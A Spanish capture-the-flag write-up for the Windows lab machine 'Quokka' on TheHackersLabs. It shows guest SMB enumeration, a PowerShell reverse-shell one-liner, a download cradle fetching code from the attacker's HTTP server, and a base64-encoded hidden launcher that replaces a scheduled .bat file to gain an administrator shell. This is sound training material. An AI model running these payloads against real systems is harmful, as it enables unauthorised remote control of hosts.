Quokka – TheHackersLabs Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Easy /Fácil
  • Platform: TheHackersLabs

‘TheHackersLabs’ Avatar


Resumen Link to heading

“Quokka” es una máquina de dificultad fácil de la plataforma TheHackersLabs. Luego de inspeccionar recursos compartidos a través de SMB como usuario anónimo en la máquina víctima, somos capaces de encontrar un script .bat el cual es ejecutado cada minuto. Dado que tenemos permisos de escritura sobre este recurso compartido, somos capaces de sobreescribir este script por uno malicioso y ganar así acceso a la máquina víctima. Ganamos acceso como un usuario privilegiado, teniendo control total del sistema.


User / Usuario Link to heading

Empezamos con un escaneo rápido con Nmap sobre la máquina víctima:

❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.20.1.145

Podemos ver múltiples puertos abiertos. Entre ellos podemos ver: 80 HTTP con Microsoft Internet Information Services, 135 Microsoft RPC, 445 Server Message Block (SMB), 5985 Windows Remote Management (WinRM).

Revisando sus versiones y aplicando algunos scripts de reconocimiento con la flag -sVC flag retorna:

❯ sudo nmap -sVC -p80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 10.20.1.145

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 04:53 -03
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.20.1.145
Host is up (0.00032s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Portfolio y Noticias Tech de Quokka
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 08:00:27:FF:0F:BA (Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-11-03T07:53:59
|_  start_date: 2024-11-03T07:44:25
|_nbstat: NetBIOS name: WIN-VRU3GG3DPLJ, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:ff:0f:ba (Oracle VirtualBox virtual NIC)
| smb-os-discovery:
|   OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
|   Computer name: WIN-VRU3GG3DPLJ
|   NetBIOS computer name: WIN-VRU3GG3DPLJ\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-11-03T08:53:59+01:00
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -19m58s, deviation: 34m37s, median: 0s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.16 seconds

Visitando http://10.20.1.145 (el sitio web HTTP de la página víctima) muestra una especie de blog/notas sobre ciberseguridad.

Quokka 1

Pero el sitio no dice mucho más fuera de este tópico.

Del output del escaneo de Nmap podemos ver que el servicio SMB permite loguearse como usuario guest (invitado). Podemos usar este acceso para, primero, ver si tenemos acceso a algún recurso compartido. Para ello utilizamos la herramienta NetExec:

❯ nxc smb 10.20.1.145 -u 'guest' -p '' --shares

SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:WIN-VRU3GG3DPLJ) (signing:False) (SMBv1:True)
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  [+] WIN-VRU3GG3DPLJ\guest: (Guest)
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  [*] Enumerated shares
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  Share           Permissions     Remark
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  -----           -----------     ------
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  ADMIN$                          Admin remota
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  C$                              Recurso predeterminado
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  Compartido      READ,WRITE
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  IPC$                            IPC remota

Y tenemos un acceso compartido llamado Compartido donde tenemos los permisos de READ,WRITE, es decir, podemos leer y escribir archivos en este recurso compartido.

Segundo, también podemos usar NetExec y la flag --rid-brute para ver si podemos enumerar usuarios dentro de la máquina víctima:

❯ nxc smb 10.20.1.145 -u 'guest' -p '' --rid-brute
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:WIN-VRU3GG3DPLJ) (signing:False) (SMBv1:True)

SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  [+] WIN-VRU3GG3DPLJ\guest: (Guest)
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  500: WIN-VRU3GG3DPLJ\Administrador (SidTypeUser)
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  501: WIN-VRU3GG3DPLJ\Invitado (SidTypeUser)
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  503: WIN-VRU3GG3DPLJ\DefaultAccount (SidTypeUser)
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  513: WIN-VRU3GG3DPLJ\Ninguno (SidTypeGroup)
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  1000: WIN-VRU3GG3DPLJ\Omar (SidTypeUser)
SMB         10.20.1.145     445    WIN-VRU3GG3DPLJ  1001: WIN-VRU3GG3DPLJ\0mar (SidTypeUser)

Tenemos 2 potenciales usuarios: Omar y 0mar.

Podemos entonces usar la herramienta smbclient para enumerar archivos dentro del recurso Compartidos con el comando:

❯ smbclient -U 'guest%' //10.20.1.145/Compartido -c 'recurse; ls'

  .                                   D        0  Sun Nov  3 05:22:23 2024
  ..                                  D        0  Sun Nov  3 05:22:23 2024
  Documentación                      D        0  Sun Oct 27 11:33:53 2024
  Logs                                D        0  Sun Oct 27 11:33:54 2024
  Proyectos                           D        0  Sun Oct 27 11:33:54 2024
<SNIP>

Vaya. Tenemos bastantes archivos.

Podemos descargar todos estos archivos usando smbclient como guest y ejecutando:

❯ smbclient -U 'guest%' //10.20.1.145/Compartido/ -c 'recurse ON; prompt OFF; mget *'

getting file \Documentación\Diagrama_Flujo.pptx of size 0 as Documentación/Diagrama_Flujo.pptx (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \Documentación\Informe_Proyecto.pdf of size 0 as Documentación/Informe_Proyecto.pdf (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \Documentación\Archivos_Antiguos\Antiguo_Informe.docx of size 0 as Documentación/Archivos_Antiguos/Antiguo_Informe.docx (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
<SNIP>

Eventualmente, luego de inspeccionar los archivos descargados, podemos encontrar un archivo llamado mantenimiento.bat dentro de la carpeta Proyectos/Quokka/Código con contenido:

@echo off
:: Mantenimiento del sistema de copias de seguridad
:: Este script es ejecutado cada minuto

REM Pista: Tal vez haya algo ms aqu...

:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.36:8000/shell.ps1')"

:: Fin del script
exit

El script tiene una pista para resolver la máquina: el script mantenimiento.bat es ejecutado constantemente. Recordemos, además, que del output con NetExec fuimos capaces de ver que teníamos permisos de escritura (WRITE) en este recurso compartido. ¿Qué tal si probamos sobreescribir el archivo mantenimiento.bat por un script malicioso? Ya que puede haber alguna tarea ejecutando mantenimiento.bat, si lo reemplazamos puede que ésta ejecute el script malicioso inyectado.

Para ello crearemos 2 archivos de Powershell: un archivo llamado cradle.ps1 y otro llamado rev.ps1. Usualmente hago esto en máquinas Windows para saber si Windows Defender bloquea la reverse shell, o si el script en realidad nunca fue ejecutado. Por ende, nos hacemos con una copia de un oneliner de Powershell de Nishang para entablar una reverse shell; lo copiamos y adaptamos su contenido a:

$client = New-Object System.Net.Sockets.TCPClient('10.20.1.110',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

donde 10.20.1.110 es nuestra IP de atacante y 443 el puerto en el cual nos pondremos en escucha con netcat para obtener la reverse shell. Guardamos este código en un archivo llamado rev.ps1.

Luego, creamos un archivo llamado cradle.ps1 con el contenido:

IEX(New-Object Net.WebClient).downloadString('http://10.20.1.110:8080/rev.ps1')

Este archivo simplemente ejecutará rev.ps1 luego de ser expuesto a través de un servidor HTTP temporal, como veremos un poquito más adelante.

Encodeamos este payload para que lo pueda interpetar Powershell:

❯ cat cradle.ps1 | iconv -t utf-16le | base64 -w0; echo

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADIAMAAuADEALgAxADEAMAA6ADgAMAA4ADAALwByAGUAdgAuAHAAcwAxACcAKQAKAA==

y escribimos un archivo llamado exploit.bat con el contenido:

@echo off

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADIAMAAuADEALgAxADEAMAA6ADgAMAA4ADAALwByAGUAdgAuAHAAcwAxACcAKQAKAA=="

exit

Nos ponemos en escucha con netcat en el puerto 443 en una terminal aparte:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...

Y, en otra terminal, exponemos los archivos .ps1 creados en un servidor Python HTTP temporal por el puerto 8080:

❯ ls -la && python3 -m http.server 8080

total 16
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Nov  3 05:46 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Nov  3 04:49 ..
-rw-rw-r-- 1 gunzf0x gunzf0x   80 Nov  3 05:46 cradle.ps1
-rw-rw-r-- 1 gunzf0x gunzf0x  501 Nov  3 05:46 rev.ps1
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Finalmente, dado que asumimos que el script mantenimiento.bat está siendo ejecutado cada minuto (tal cual decía la pista), simplemente subimos nuestro payload exploit.bat como mantenimiento.bat a la máquina víctima usando smbclient, reemplazando así el script original:

❯ smbclient -U 'guest%' //10.20.1.145/Compartido/ -c 'cd Proyectos/Quokka/Código; put exploit.bat mantenimiento.bat'

putting file exploit.bat as \Proyectos\Quokka\Código\mantenimiento.bat (298.8 kb/s) (average 298.8 kb/s)

Podemos ver si esto se ha subido revisando las fechas de modificaciones de los archivos:

❯ smbclient -U 'guest%' //10.20.1.145/Compartido/ -c 'cd Proyectos/Quokka/Código; ls'

  .                                   D        0  Sun Oct 27 11:58:54 2024
  ..                                  D        0  Sun Oct 27 11:58:54 2024
  index.html                          A       52  Sun Oct 27 11:33:54 2024
  mantenimiento - copia.bat           A     1252  Sun Oct 27 11:41:43 2024
  mantenimiento.bat                   A      306  Sun Nov  3 05:58:38 2024
  README.md                           A       56  Sun Oct 27 11:33:54 2024

                7735807 blocks of size 4096. 4637866 blocks available

Le fecha es diferente para mantenimiento.bat y, por tanto, debería de haber sido modificado.

Luego de algunos segundos, obtenemos una petición GET en nuestro servidor Python HTTP temporal y, además, obtenemos una shell como el usuario administrador en nuestro listener con netcat:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.145] 49746
whoami

win-vru3gg3dplj\administrador

PS C:\Windows\system32>

Recibimos la shell de un usuario privilegiado. GG.

Por último, podemos leer ambas flags (usuario y admin):

PS C:\Windows\system32> type C:\Users\0mar\Desktop\user.txt

9OWi***************

PS C:\Windows\system32> type C:\Users\Administrador\Desktop\admin.txt
j9eC********************

~Happy Hacking